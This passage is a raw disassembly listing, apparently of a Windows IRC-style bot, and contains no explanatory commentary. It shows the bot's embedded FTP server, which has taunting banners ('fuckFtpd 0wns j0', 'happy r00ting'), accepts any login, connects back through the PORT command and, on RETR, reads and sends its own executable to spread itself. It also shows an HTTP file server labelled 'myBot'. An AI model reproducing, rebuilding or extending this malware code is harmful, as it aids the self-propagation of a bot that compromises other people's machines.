mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
jmp short loc_405402
; ---------------------------------------------------------------------------
loc_4053F2: ; CODE XREF: .nsp0:0040538Bj
push 1
push edi
call dword_4211CC ; shutdown
push edi
call dword_4211F0 ; closesocket
loc_405402: ; CODE XREF: .nsp0:004053F0j
xor eax, eax
loc_405404: ; CODE XREF: .nsp0:004053CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405409 proc near ; DATA XREF: sub_407276+226o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = byte ptr -238h
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
call dword_4211B0 ; WSAStartup
push edi
call sub_416AD4
push eax
call sub_415539
push 0FA00h
push 471h
call sub_414098
add esp, 10h
mov dword_438FDC, eax
push edi
push ebx
push 2
call dword_4211E0 ; socket
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_4211B4 ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
call dword_4211B8 ; ioctlsocket
mov ax, word ptr dword_438FDC
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_4211DC ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_4211BC ; bind
test eax, eax
jge short loc_4054DE
mov eax, ebx
jmp loc_405A05
; ---------------------------------------------------------------------------
loc_4054DE: ; CODE XREF: sub_405409+CCj
push 0Ah
push esi
call dword_4211C0 ; listen
mov [ebp+var_228], ebx
mov ebx, dword_4211EC
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_4054FC: ; CODE XREF: sub_405409+12Cj
; sub_405409+5F4j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4211D0 ; select
cmp eax, 0FFFFFFFFh
jz loc_405A02
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_4054FC
loc_405537: ; CODE XREF: sub_405409+5EEj
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415570
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_415570
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_420106 ; __WSAFDIsSet
test eax, eax
jz loc_4059F0
cmp edi, [ebp+var_C]
jnz short loc_4055EE
lea eax, [ebp+var_24]
mov [ebp+var_24], 10h
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_C]
call dword_4211C4 ; accept
cmp eax, 0FFFFFFFFh
jz loc_4059F0
xor ecx, ecx
cmp [ebp+var_228], esi
jbe short loc_4055B8
lea edx, [ebp+var_224]
loc_4055A8: ; CODE XREF: sub_405409+1ADj
cmp [edx], eax
jz short loc_4055B8
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_4055A8
loc_4055B8: ; CODE XREF: sub_405409+197j
; sub_405409+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_4055D6
cmp [ebp+var_228], 40h
jnb short loc_4055D6
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_4055D6: ; CODE XREF: sub_405409+1B5j
; sub_405409+1BEj
cmp eax, [ebp+var_4]
jle short loc_4055DE
mov [ebp+var_4], eax
loc_4055DE: ; CODE XREF: sub_405409+1D0j
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4059F0
; ---------------------------------------------------------------------------
loc_4055EE: ; CODE XREF: sub_405409+169j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_4211E8 ; recv
test eax, eax
jg short loc_405655
mov edx, [ebp+var_228]
xor ecx, ecx
cmp edx, esi
jbe short loc_405649
lea eax, [ebp+var_224]
loc_405615: ; CODE XREF: sub_405409+216j
cmp [eax], edi
jz short loc_405623
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_405615
jmp short loc_405649
; ---------------------------------------------------------------------------
loc_405623: ; CODE XREF: sub_405409+20Ej
dec edx
cmp ecx, edx
jnb short loc_405643
lea eax, [ebp+ecx*4+var_224]
loc_40562F: ; CODE XREF: sub_405409+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40562F
loc_405643: ; CODE XREF: sub_405409+21Dj
dec [ebp+var_228]
loc_405649: ; CODE XREF: sub_405409+204j
; sub_405409+218j
push edi
call dword_4211F0 ; closesocket
jmp loc_4059F0
; ---------------------------------------------------------------------------
loc_405655: ; CODE XREF: sub_405409+1F8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_416AA0
lea eax, [ebp+var_AC]
push offset aUser_0 ; "USER"
push eax
call sub_415910
add esp, 18h
test eax, eax
jnz short loc_405699
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405699: ; CODE XREF: sub_405409+281j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4056BD
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_4056BD: ; CODE XREF: sub_405409+2A5j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4056E1
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_4056E1: ; CODE XREF: sub_405409+2C9j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405705
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405705: ; CODE XREF: sub_405409+2EDj
lea eax, [ebp+var_AC]
push offset off_426918
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405729
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405729: ; CODE XREF: sub_405409+311j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405764
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_405764
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_405764: ; CODE XREF: sub_405409+335j
; sub_405409+34Cj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40579F
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40579F
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4059DB
; ---------------------------------------------------------------------------
loc_40579F: ; CODE XREF: sub_405409+370j
; sub_405409+387j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4057ED
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4057DD: ; CODE XREF: sub_405409+423j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_4057E5: ; CODE XREF: sub_405409+4F3j
mov edi, [ebp+arg_0]
jmp loc_4059DE
; ---------------------------------------------------------------------------
loc_4057ED: ; CODE XREF: sub_405409+3ABj
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40582E
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_4057DD
; ---------------------------------------------------------------------------
loc_40582E: ; CODE XREF: sub_405409+3F9j
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_405901
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_416AA0
lea eax, [ebp+var_F8]
push eax
call sub_415A5F
mov edi, eax
lea eax, [ebp+var_2D0]
push eax
call sub_415A5F
mov [ebp+var_8], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_415570
push [ebp+var_8]
lea eax, [ebp+var_F8]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_4154E7
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_416A89
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_4154E7
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_4057E5
; ---------------------------------------------------------------------------
loc_405901: ; CODE XREF: sub_405409+43Aj
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_4059BC
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_405A0C
pop ecx
cmp eax, 1
pop ecx
jnz short loc_4059B2
call sub_405A89
cmp eax, 1
jnz loc_4059DE
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_438FDC
push eax
lea eax, [ebp+var_8DC]
push offset dword_42675C
push eax
call sub_4154E7
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_4059A3
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_412D4C
add esp, 14h
loc_4059A3: ; CODE XREF: sub_405409+575j
lea eax, [ebp+var_8DC]
push eax
call sub_40B16D
pop ecx
jmp short loc_4059DE
; ---------------------------------------------------------------------------
loc_4059B2: ; CODE XREF: sub_405409+52Fj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4059DB
; ---------------------------------------------------------------------------
loc_4059BC: ; CODE XREF: sub_405409+50Dj
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_4059DE
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4059DB: ; CODE XREF: sub_405409+28Bj
; sub_405409+2AFj ...
push edi
call ebx ; send
loc_4059DE: ; CODE XREF: sub_405409+3DFj
; sub_405409+539j ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415570
add esp, 0Ch
loc_4059F0: ; CODE XREF: sub_405409+160j
; sub_405409+189j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_405537
jmp loc_4054FC
; ---------------------------------------------------------------------------
loc_405A02: ; CODE XREF: sub_405409+11Ej
push 1
pop eax
loc_405A05: ; CODE XREF: sub_405409+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_405409 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A0C proc near ; CODE XREF: sub_405409+525p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4211B0 ; WSAStartup
push 0
push 1
push 2
call dword_4211E0 ; socket
push [ebp+arg_0]
mov dword_438FD8, eax
mov [ebp+var_10], 2
call dword_4211D8 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4211DC ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_438FD8
call dword_4211E4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_405A84
push dword_438FD8
call dword_4211F0 ; closesocket
call dword_4211AC ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405A84: ; CODE XREF: sub_405A0C+60j
push 1
pop eax
leave
retn
sub_405A0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A89 proc near ; CODE XREF: sub_405409+531p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_415BE8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405B20
test byte ptr [esi+0Ch], 10h
jnz short loc_405B04
push edi
mov edi, 400h
loc_405ACC: ; CODE XREF: sub_405A89+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_416BB0
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_438FD8
call dword_4211EC ; send
push 1
call dword_421060 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_405ACC
pop edi
loc_405B04: ; CODE XREF: sub_405A89+3Bj
push esi
call sub_415B40
pop ecx
push dword_438FD8
call dword_4211F0 ; closesocket
call dword_4211AC ; WSACleanup
push 1
pop eax
loc_405B20: ; CODE XREF: sub_405A89+35j
pop esi
leave
retn
sub_405A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B23 proc near ; DATA XREF: sub_407276+333o
; sub_40CE55+5068o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_415570
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_43A398
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_43A418
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_405F0E
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43F534[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_43A3C4
cmp eax, 0FFFFFFFFh
jz loc_405F0E
push 7FFFFFFFh
push edi
call dword_43A3C0
cmp eax, 0FFFFFFFFh
jz loc_405F0E
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_43A434
cmp eax, 0FFFFFFFFh
jz loc_405F0E
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_405BFA: ; CODE XREF: sub_405B23+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_43A380
cmp eax, 0FFFFFFFFh
jz loc_405F09
xor esi, esi
mov [ebp+var_4], esi
loc_405C30: ; CODE XREF: sub_405B23+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_43A290
test eax, eax
jz loc_405EF4
cmp esi, [ebp+var_C]
jnz short loc_405CB2
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_43A42C
cmp eax, 0FFFFFFFFh
jz loc_405EF4
xor ecx, ecx
test ebx, ebx
jbe short loc_405C84
lea edx, [ebp+var_134]
loc_405C78: ; CODE XREF: sub_405B23+15Fj
cmp [edx], eax
jz short loc_405C84
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_405C78
loc_405C84: ; CODE XREF: sub_405B23+14Dj
; sub_405B23+157j
cmp ecx, ebx
jnz short loc_405CA1
cmp ebx, 40h
jnb short loc_405CA1
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_405CA1: ; CODE XREF: sub_405B23+163j
; sub_405B23+168j
cmp eax, [ebp+var_8]
jbe loc_405EF4
mov [ebp+var_8], eax
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405CB2: ; CODE XREF: sub_405B23+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_415570
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415570
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_43A3B0
test eax, eax
jg short loc_405D45
push esi
call dword_43A430
xor ecx, ecx
test ebx, ebx
jbe loc_405EF4
lea eax, [ebp+var_134]
loc_405D04: ; CODE XREF: sub_405B23+1EBj
cmp [eax], esi
jz short loc_405D15
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405D04
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405D15: ; CODE XREF: sub_405B23+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405D39
lea eax, [ebp+ecx*4+var_134]
loc_405D23: ; CODE XREF: sub_405B23+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405D23
loc_405D39: ; CODE XREF: sub_405B23+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405D45: ; CODE XREF: sub_405B23+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_415570
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_415CF0
add esp, 10h
test eax, eax
jbe loc_405EF4
loc_405D73: ; CODE XREF: sub_405B23+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405E18
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz short loc_405DEC
lea eax, [ebp+var_18F0]
push eax
call sub_415CF0
cmp eax, 5
pop ecx
jbe short loc_405DEC
mov eax, offset asc_426A00 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_415AC0
pop ecx
pop ecx
push eax
call sub_415AC0
pop ecx
pop ecx
push eax
call sub_416C98
push eax
lea eax, [ebp+var_23C]
push eax
call sub_415C00
add esp, 10h
jmp short loc_405E03
; ---------------------------------------------------------------------------
loc_405DEC: ; CODE XREF: sub_405B23+27Fj
; sub_405B23+291j
lea eax, [ebp+var_18F0]
push offset asc_4269FC ; "\r\n"
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_405E37
loc_405E03: ; CODE XREF: sub_405B23+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415570
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405E18: ; CODE XREF: sub_405B23+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_415CF0
cmp [ebp+arg_0], eax
pop ecx
jb loc_405D73
jmp loc_405EF4
; ---------------------------------------------------------------------------
loc_405E37: ; CODE XREF: sub_405B23+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_405E81
lea eax, [ebp+var_134]
loc_405E43: ; CODE XREF: sub_405B23+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_405E54
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405E43
jmp short loc_405E84
; ---------------------------------------------------------------------------
loc_405E54: ; CODE XREF: sub_405B23+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405E78
lea eax, [ebp+ecx*4+var_134]
loc_405E62: ; CODE XREF: sub_405B23+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405E62
loc_405E78: ; CODE XREF: sub_405B23+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_405E84
; ---------------------------------------------------------------------------
loc_405E81: ; CODE XREF: sub_405B23+318j
mov esi, [ebp+var_4]
loc_405E84: ; CODE XREF: sub_405B23+32Fj
; sub_405B23+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_405EED
lea eax, [ebp+var_360]
push eax
call sub_415CF0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_415CF0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_405EED
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_43A434
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_406100
add esp, 14h
jmp short loc_405EF4
; ---------------------------------------------------------------------------
loc_405EED: ; CODE XREF: sub_405B23+369j
; sub_405B23+38Fj
push esi
call dword_43A430
loc_405EF4: ; CODE XREF: sub_405B23+11Dj
; sub_405B23+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_405C30
jmp loc_405BFA
; ---------------------------------------------------------------------------
loc_405F09: ; CODE XREF: sub_405B23+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_405F0E: ; CODE XREF: sub_405B23+6Aj
; sub_405B23+92j ...
call dword_43A32C
push eax
lea eax, [ebp+var_8F0]
push offset unk_4269B4
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405F54
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_412D4C
add esp, 14h
loc_405F54: ; CODE XREF: sub_405B23+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_40B16D
pop ecx
push edi
call dword_43A430
push [ebp+var_254]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_405B23 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F7E proc near ; DATA XREF: sub_406100+246o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_415D70
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_4154E7
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_4154E7
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_405FE3
push offset aTextHtml ; "text/html"
jmp short loc_405FE8
; ---------------------------------------------------------------------------
loc_405FE3: ; CODE XREF: sub_405F7E+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_405FE8: ; CODE XREF: sub_405F7E+63j
lea eax, [ebp+var_9C]
push eax
call sub_4154E7
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_421084 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_421080 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_406061
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4154E7
add esp, 24h
jmp short loc_406082
; ---------------------------------------------------------------------------
loc_406061: ; CODE XREF: sub_405F7E+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4154E7
add esp, 28h
loc_406082: ; CODE XREF: sub_405F7E+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_43A3E8
cmp [ebp+var_A4], edi
jnz short loc_4060C2
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406A32
pop ecx
pop ecx
jmp short loc_4060DF
; ---------------------------------------------------------------------------
loc_4060C2: ; CODE XREF: sub_405F7E+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4063B0
add esp, 10h
loc_4060DF: ; CODE XREF: sub_405F7E+142j
push [ebp+var_44C]
call dword_43A430
push [ebp+var_B4]
call sub_4152AF
pop ecx
push edi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_405F7E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406100 proc near ; CODE XREF: sub_405B23+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
